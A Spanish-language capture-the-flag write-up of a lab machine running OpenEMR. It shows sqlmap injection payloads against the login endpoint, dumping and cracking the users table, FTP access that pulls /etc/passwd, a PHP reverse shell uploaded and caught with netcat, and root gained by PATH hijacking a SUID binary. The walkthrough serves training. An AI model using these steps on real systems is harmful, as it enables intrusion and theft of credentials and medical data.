02/06/2024
Reconocimiento
Como siempre, el primer paso es el reconocimiento, asi que vamos a identificar los puertos de la maquina
┌─[bicho@balam]─[~/healthcare]
└─[-]=> nmap -sT -sV 10.0.0.57 -oX
Starting Nmap 7.95 ( https://nmap.org ) at 2024-06-02 09:25 CEST
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 09:25 (0:00:06 remaining)
Nmap scan report for 10.0.0.57
Host is up (0.00017s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3d
80/tcp open http Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.25 seconds
Podemos ver que hay un servidor ftp y un servidor http, vamos a ver que información nos puede dar el servidor ftp
┌─[bicho@balam]─[~/healthcare]
└─[]=> ftp 10.0.0.57
Connected to 10.0.0.57.
220 ProFTPD 1.3.3d Server (ProFTPD Default Installation) [10.0.0.57]
Name (10.0.0.57:bicho): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
ftp: Login failed.
Parece que no tenemos usuario anonymous, vamos a ver el contenido del servidor web

Parece que además de un contador y un input no hay mucho mas, vamos a ver que hace el formulario, para ello usaré el proxy de burpsuite


Vemos que hace una peticion GET, asignando el valor del correo a una variable email y escapando los caracteres especiales, con la sanitizacion va a ser complicado inyectar algo, vamos a ver si encontramos alguna pagina oculta
┌─[bicho@balam]─[~/healthcare]
└─[]=> gobuster dir -u 10.0.0.57 -w /usr/share/wordlists/discovery/dsstorewordlist.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.57
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/discovery/dsstorewordlist.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 334] [--> http://10.0.0.57/images/]
/css (Status: 301) [Size: 331] [--> http://10.0.0.57/css/]
/fonts (Status: 301) [Size: 333] [--> http://10.0.0.57/fonts/]
/js (Status: 301) [Size: 330] [--> http://10.0.0.57/js/]
/vendor (Status: 301) [Size: 334] [--> http://10.0.0.57/vendor/]
/.htaccess (Status: 403) [Size: 995]
/robots.txt (Status: 200) [Size: 620]
/favicon (Status: 200) [Size: 1406]
/index (Status: 200) [Size: 5031]
/phpMyAdmin (Status: 403) [Size: 59]
/.htpasswd (Status: 403) [Size: 995]
/.htpasswds (Status: 403) [Size: 995]
Progress: 1828 / 1829 (99.95%)
===============================================================
Finished
===============================================================
Parece que hay un robots.txt, vamos ver si hay alguna información interesante
┌─[bicho@balam]─[~/healthcare]
└─[]=> curl http://10.0.0.57/robots.txt
# $Id: robots.txt 410967 2009-08-06 19:44:54Z oden $
# $HeadURL: svn+ssh://svn.mandriva.com/svn/packages/cooker/apache-conf/current/SOURCES/robots.txt $
# exclude help system from robots
User-agent: *
Disallow: /manual/
Disallow: /manual-2.2/
Disallow: /addon-modules/
Disallow: /doc/
Disallow: /images/
# the next line is a spam bot trap, for grepping the logs. you should _really_ change this to something else...
Disallow: /all_our_e-mail_addresses
# same idea here...
Disallow: /admin/
# but allow htdig to index our doc-tree
#User-agent: htdig
#Disallow:
# disallow stress test
user-agent: stress-agent
Disallow: /
Parece que el que hizo la web no quiere que se indexen /admin/ ni /all_our_e-mail_addresses, pero hay un comentario que dice que es una trampa para bots, asi que vamos a tener que seguir buscando
┌─[bicho@balam]─[~/healthcare]
└─[]=> gobuster dir -u 10.0.0.57 -w /usr/share/wordlists/discovery/directory-list-2.3-big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.57
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/discovery/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 5031]
/images (Status: 301) [Size: 334] [--> http://10.0.0.57/images/]
/css (Status: 301) [Size: 331] [--> http://10.0.0.57/css/]
/js (Status: 301) [Size: 330] [--> http://10.0.0.57/js/]
/vendor (Status: 301) [Size: 334] [--> http://10.0.0.57/vendor/]
/favicon (Status: 200) [Size: 1406]
/robots (Status: 200) [Size: 620]
/fonts (Status: 301) [Size: 333] [--> http://10.0.0.57/fonts/]
/gitweb (Status: 301) [Size: 334] [--> http://10.0.0.57/gitweb/]
/phpMyAdmin (Status: 403) [Size: 59]
/server-status (Status: 403) [Size: 995]
/server-info (Status: 403) [Size: 995]
/openemr (Status: 301) [Size: 335] [--> http://10.0.0.57/openemr/]
Progress: 1273833 / 1273834 (100.00%)
===============================================================
Finished
===============================================================
Parece que con este diccionario que mas extenso, hemos encontrado una pagina a la que tenemos acceso que se llama /openemr, vamos a ver que hay

Ataque
Parece que es un panel de login, podremos saltarnos la verificacion haciendo algun tipo de inyección sql?


Parece que no ha funcionado, vamos a analizar la petición en burpsuite

Vemos que se realizan dos peticiones, la primera solicita a validateUser.php un usuario en un parametro GET u=<usuario> La respuesta a esa consulta es una Cookie de OpenEMR La siguiente solicitud es una peticion POST con los siguientes datos

Si hacemos varias peticiones cambiando la contraseña podemos ver que el string authPass cambia, por lo tanto ese string contiene nuestra contraseña encriptada, conociendo el mecanismo de autenticacion que realiza vamos a intentar hacer una inyeccion en el primer paso de la autenticación, para ello vamos a pasarle a sqlmap la url con el parametro get
┌─[bicho@balam]─[~/healthcare]
└─[]=> sqlmap "http://10.0.0.57 /openemr/interface/login/validateUser.php?u=admin" --dbs --batch
___
__H__
___ ___[(]_____ ___ ___ {1.8#stable}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:06:05 /2024-06-02/
[10:06:05] [INFO] resuming back-end DBMS 'mysql'
[10:06:05] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('OpenEMR=fcdf32fb5cf...a2357a04be'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: u (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: u=admin' AND 2037=2037 AND 'HCxo'='HCxo
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: u=admin' AND (SELECT 4519 FROM(SELECT COUNT(*),CONCAT(0x7178787871,(SELECT (ELT(4519=4519,1))),0x71716b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'zhaR'='zhaR
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: u=admin' AND (SELECT 9516 FROM (SELECT(SLEEP(5)))aqaK) AND 'bYVU'='bYVU
---
[10:06:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 5.3.3, Apache 2.2.17
back-end DBMS: MySQL >= 5.0
[10:06:05] [INFO] fetching database names
[10:06:05] [WARNING] reflective value(s) found and filtering out
[10:06:05] [INFO] retrieved: 'information_schema'
[10:06:05] [INFO] retrieved: 'openemr'
[10:06:05] [INFO] retrieved: 'test'
available databases [3]:
[*] information_schema
[*] openemr
[*] test
[10:06:05] [INFO] fetched data logged to text files under '/home/bicho/.local/share/sqlmap/output/10.0.0.57'
[*] ending @ 10:06:05 /2024-06-02/
Parece que tenemos 3 bases de datos, information_schema, openemr y test, vamos a ver si podemos enumerar los usuarios de la base de datos de openemr
┌─[bicho@balam]─[~/healthcare]
└─[]=> sqlmap "http://10.0.0.57 /openemr/interface/login/validateUser.php?u=admin" --users -D openemr --tables
___
__H__
___ ___[.]_____ ___ ___ {1.8#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:09:32 /2024-06-02/
...
Database: openemr
[141 tables]
+---------------------------------+
| array |
...
| users |
| users_facility |
| x12_partners |
+---------------------------------+
[10:09:35] [INFO] fetched data logged to text files under '/home/bicho/.local/share/sqlmap/output/10.0.0.57'
[*] ending @ 10:09:35 /2024-06-02/
Parece que existe una tabla llamada users, vamos a intentar obtener todos los registros
┌─[bicho@balam]─[~]
└─[]=> sqlmap "http://10.0.0.57 /openemr/interface/login/validateUser.php?u=admin" --users -D openemr -T users --dump
___
__H__
___ ___[)]_____ ___ ___ {1.8#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:12:54 /2024-06-02/
...
[10:12:57] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:23:02] [INFO] writing hashes to a temporary file '/tmp/sqlmap6w2f8km754989/sqlmaphashes-t5y16g4p.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[10:13:10] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/opt/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[10:13:15] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[10:13:21] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[10:13:21] [INFO] starting 4 processes
[10:13:23] [INFO] cracked password '<redacted>' for user 'admin'
[10:13:25] [INFO] cracked password '<redacted>' for user 'medical'
[10:13:28] [INFO] cracked password '<redacted>' for user 'medical'
...
[10:13:29] [INFO] table 'openemr.users' dumped to CSV file '/home/bicho/.local/share/sqlmap/output/10.0.0.57/dump/openemr/users.csv'
[10:13:29] [INFO] fetched data logged to text files under '/home/bicho/.local/share/sqlmap/output/10.0.0.57'
[*] ending @ 10:13:29 /2024-06-02/
Hemos encontrado 3 contraseñas que se han crackeado correctamente, vamos a intentar usarlas para acceder al panel de control

Ahora la pregunta es ¿Podremos usarlas para acceder por ftp?
┌─[bicho@balam]─[~/healthcare]
└─[]=> ftp medical@10.0.0.57
Connected to 10.0.0.57.
220 ProFTPD 1.3.3d Server (ProFTPD Default Installation) [10.0.0.57]
331 Password required for medical
Password:
230 User medical logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Parece que medical si, vamos a ver que encontramos
ftp> pwd
257 "/home/medical" is the current directory
ftp>
Genial, parece que el servidor no está configurado para encarcelarnos, asi que nos podemos mover por el sistema libremente, vamos a recopilar toda la información que podamos
ftp> cd /etc/
250 CWD command successful
ftp> get passwd
200 PORT command successful
150 Opening BINARY mode data connection for passwd (2008 bytes)
226 Transfer complete
2008 bytes received in 6.6e-05 seconds (29 Mbytes/s)
Viendo el contenido de passwd nos damos cuenta de que existe otro usario con home llamado almirant, vamos a ver que hay en su home
ftp> cd /home/almirant
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr--r-- 2 almirant almirant 4096 Jul 20 2011 Desktop
drwx------ 2 almirant almirant 4096 Jan 19 2010 Documents
drwx------ 2 almirant almirant 4096 Jul 20 2011 Downloads
drwx------ 2 almirant almirant 4096 Jan 19 2010 Movies
drwx------ 2 almirant almirant 4096 Jan 19 2010 Music
drwx------ 2 almirant almirant 4096 Jan 19 2010 Pictures
drwxr-xr-x 2 almirant almirant 4096 Jul 20 2011 Templates
drwxr-xr-x 2 almirant almirant 4096 Jul 20 2011 Videos
drwx------ 9 almirant almirant 4096 Jul 29 2020 tmp
-rwxrwxr-x 1 root root 33 Jul 29 2020 user.txt
226 Transfer complete
Parece que ahi tenemos nuestra flag de user
Escalada de privilegios
Vamos a ver si podemos obtener una shell inversa usando un .php
ftp> cd /var/www
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 root root 4096 Oct 27 2011 cgi-bin
drwxr-xr-x 3 root root 4096 Oct 27 2011 error
drwxr-xr-x 2 root root 4096 Oct 27 2011 gitweb
drwxr-xr-x 9 root root 4096 Jul 29 2020 html
drwxr-xr-x 3 root root 4096 Oct 27 2011 icons
drwxr-xr-x 2 root root 4096 Oct 27 2011 perl
drwxr-xr-x 2 root root 4096 Oct 27 2011 php-eaccelerator
drwxr-xr-x 9 root root 4096 Oct 27 2011 phpMyAdmin
226 Transfer complete
Parece que en /var/www no vamos a poder ponderlo, vamos a encontrar el menu de openemr a ver si podemos subir archivos
ftp> cd /var/www/html
250 CWD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 2 root root 4096 Oct 27 2011 addon-modules
drwxr-xr-x 2 root root 4096 Jan 7 2018 css
-rw-r--r-- 1 root root 1406 Mar 19 2011 favicon.ico
drwxr-xr-x 5 root root 4096 Jan 7 2018 fonts
drwxr-xr-x 3 root root 4096 Jul 29 2020 images
-rwxr-xr-x 1 root root 5031 Jan 6 2018 index.html
drwxr-xr-x 2 root root 4096 Jan 7 2018 js
drwxr-xr-x 21 medical medical 4096 Jun 2 08:44 openemr
-rw-r--r-- 1 root root 620 Mar 19 2011 robots.txt
drwxr-xr-x 8 root root 4096 Jan 7 2018 vendor
226 Transfer complete
Parece que es nuestro dia de suerte, vamos a abrir una sesión de netcat y ponernos a la escucha
┌─[bicho@balam]─[~]
└─[]=> nc -lvp 8888
Ahora vamos a usar el comando put para subir una reverse shell de php
ftp> cd openemr
250 CWD command successful
ftp> put reverse.php
200 PORT command successful
150 Opening BINARY mode data connection for reverse.php
226 Transfer complete
3907 bytes sent in 3.6e-05 seconds (104 Mbytes/s)
Ahora vamos al navegador y abrimos /openemr/reverse.php

Y asi de facil tenemos nuestra reverse shell
┌─[bicho@balam]─[~]
└─[]=> nc -lvp 8888
Connection from 10.0.0.57:42436
Linux localhost.localdomain 2.6.38.8-pclos3.bfs #1 SMP PREEMPT Fri Jul 8 18:01:30 CDT 2011 i686 i686 i386 GNU/Linux
01:50:19 up 1:25, 0 users, load average: 1.00, 1.00, 1.02
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
uid=479(apache) gid=416(apache) groups=416(apache)
sh: no job control in this shell
sh-4.1$
Ahora sanitizamos la shell usando STTY y vamos a buscar a ver si podemos encontrar algun binario vulnerable
bash-4.1$ sudo -l
bash: sudo: command not found
Parece que sudo no está instalado
bash-4.1$ find / -perms /4000 2>/dev/null
bash-4.1$ find / -perm /4000 2>/dev/null
/usr/libexec/pt_chown
/usr/lib/ssh/ssh-keysign
/usr/lib/polkit-resolve-exe-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/chromium-browser/chrome-sandbox
/usr/lib/polkit-grant-helper-pam
/usr/lib/polkit-set-default-helper
/usr/sbin/fileshareset
/usr/sbin/traceroute6
/usr/sbin/usernetctl
/usr/sbin/userhelper
/usr/bin/crontab
/usr/bin/at
/usr/bin/pumount
/usr/bin/batch
/usr/bin/expiry
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/wvdial
/usr/bin/pmount
/usr/bin/sperl5.10.1
/usr/bin/gpgsm
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/passwd
/usr/bin/gpg
/usr/bin/healthcheck
/usr/bin/Xwrapper
/usr/bin/ping6
/usr/bin/chsh
/lib/dbus-1/dbus-daemon-launch-helper
/sbin/pam_timestamp_check
/bin/ping
/bin/fusermount
/bin/su
/bin/mount
/bin/umount
Parece que hay un binario llamado healthcheck con suid activado, vamos a ver que es
bash-4.1$ file /usr/bin/healthcheck
/usr/bin/healthcheck: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped
Parece que es un archivo compilado, vamos a ver que hace
bash-4.1$ healthcheck | less
System Health Check
Scanning System
eth1 Link encap:Ethernet HWaddr 08:00:27:1A:6C:71
inet addr:10.0.0.57 Bcast:10.0.0.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe1a:6c71/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1347325 errors:0 dropped:0 overruns:0 frame:0
TX packets:1341621 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:210577633 (200.8 MiB) TX bytes:1993070732 (1.8 GiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Disk /dev/sda: 10.7 GB, 10737418240 bytes
255 heads, 63 sectors/track, 1305 cylinders, total 20971520 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000
Parece que ejecuta varios comandos para analizar el sistema, vamos a usar strings a ver si podemos encontrar algun dato interesante
bash-4.1$ strings /usr/bin/healthcheck
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h
Vamos a intentar usar un path alterado para que al ejecutar alguno de los comandos nos de una shell root
bash-4.1$ cd /tmp
bash-4.1$ cp /bin/bash clear
bash-4.1$ export PATH="/tmp:/$PATH"
Ahora ejecutamos healthcheck
bash-4.1$ healthcheck
gpg-agent[2855]: error creating `/.gnupg/gpg-agent-info': No such file or directory
[root@localhost tmp]# cd /root
[root@localhost root]# ls
Desktop/ drakx/ healthcheck.c sudo.rpm
Documents/ healthcheck* root.txt tmp/
Y con esto tendriamos nuestra flag root.txt